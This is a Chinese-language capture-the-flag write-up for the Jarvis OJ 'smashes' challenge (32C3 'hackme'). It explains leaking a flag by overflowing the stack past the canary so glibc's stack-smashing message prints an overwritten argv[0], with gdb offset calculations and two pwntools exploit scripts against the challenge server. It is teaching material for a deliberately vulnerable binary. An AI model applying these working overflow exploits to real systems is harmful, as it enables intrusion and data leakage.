jarvisoj pwn smashes (2015 32c3-ctf hackme) [Stack Smash]
题目链接:
https://www.jarvisoj.com/challenges
题目bin文件来源:
github - ctfswriteup - 2015 - 32c3ctf - pwn - hackme
分析过程:
开启了NX与Canary
程序流程:
输入名字之后,即可输入一个地址去覆盖flag~这里涉及的知识点是:Stack Smash
当程序开启了Canary时,如果把该值覆盖,程序报错时会输出argv[0]的信息
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
所以,我们一旦能够覆盖argv[0]为flag,那么在输出报错信息时,就成功的泄露了flag的值
(1)我们需要的是偏移:从可以输入的栈指针到argv[0]的偏移值,即为我们需要填充的
(2)我们需要的是flag的地址:将argv[0]修改成flag的地址
偏移值怎么算?
在main前下断,查看argv[0]的栈偏移
Breakpoint 1, 0x00000000004006d0 in ?? ()
gdb-peda$ stack 20
0000| 0x7fffffffdbf8 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
0008| 0x7fffffffdc00 --> 0x0
0016| 0x7fffffffdc08 --> 0x7fffffffdcd8 --> 0x7fffffffe07e ("/home/……")
所以,argv[0]的地址值是0x7fffffffdcd8
在40080E处下断,gets函数之前看看esp在哪儿~
gdb-peda$ stack 5
0000| 0x7fffffffdac0 --> 0xff0000
0008| 0x7fffffffdac8 --> 0xff0000000000
0016| 0x7fffffffdad0 --> 0x0
0024| 0x7fffffffdad8 --> 0x0
0032| 0x7fffffffdae0 --> 0x0
gdb-peda$ p $esp
$5 = 0xffffdac0
所以偏移值为0x7fffffffdcd8 - 0x7fffffffdac0 = 0x218
flag值的地址为0x600D20
尝试写一下exp~发现不对~再调试一下
我们在memset之前,也就是400873下断,如下:
我们看到,600D20的flag值被覆盖掉了~
那么,需要找到一个不被覆盖的flag值!
所以,我们利用flag值的位置为0x400D20
exp为:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
io = remote("pwn.jarvisoj.com", 9877)
argv_addr = 0x7fffffffdcd8
name_addr = 0x7fffffffdac0
flag_addr = 0x600d20
new_flag_addr = 0x400d20
hello_addr = 0x400934
#payload = "A" * (argv_addr - name_addr) + p64(hello_addr)
payload = "A" * (argv_addr - name_addr) + p64(new_flag_addr)
io.recvuntil("name?")
io.sendline(payload)
io.interactive()
注释掉的代码是输出了Hello字符串的,表达意思是任何有的字符串都可以输出
第二种做法!
不需要计算偏移!
既然argv[0]一定在栈上,那么覆盖足够长的栈空间均为flag的值就可以了呀!
#!/usr/bin/env python
# coding=utf-8
from pwn import *
io = remote("pwn.jarvisoj.com", 9877)
io.recv()
flag_addr = 0x400d20
payload = p64(flag_addr) * 300
io.sendline(payload)
io.interactive()
参考链接:
https://www.jianshu.com/p/6afc68389901
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop/#_13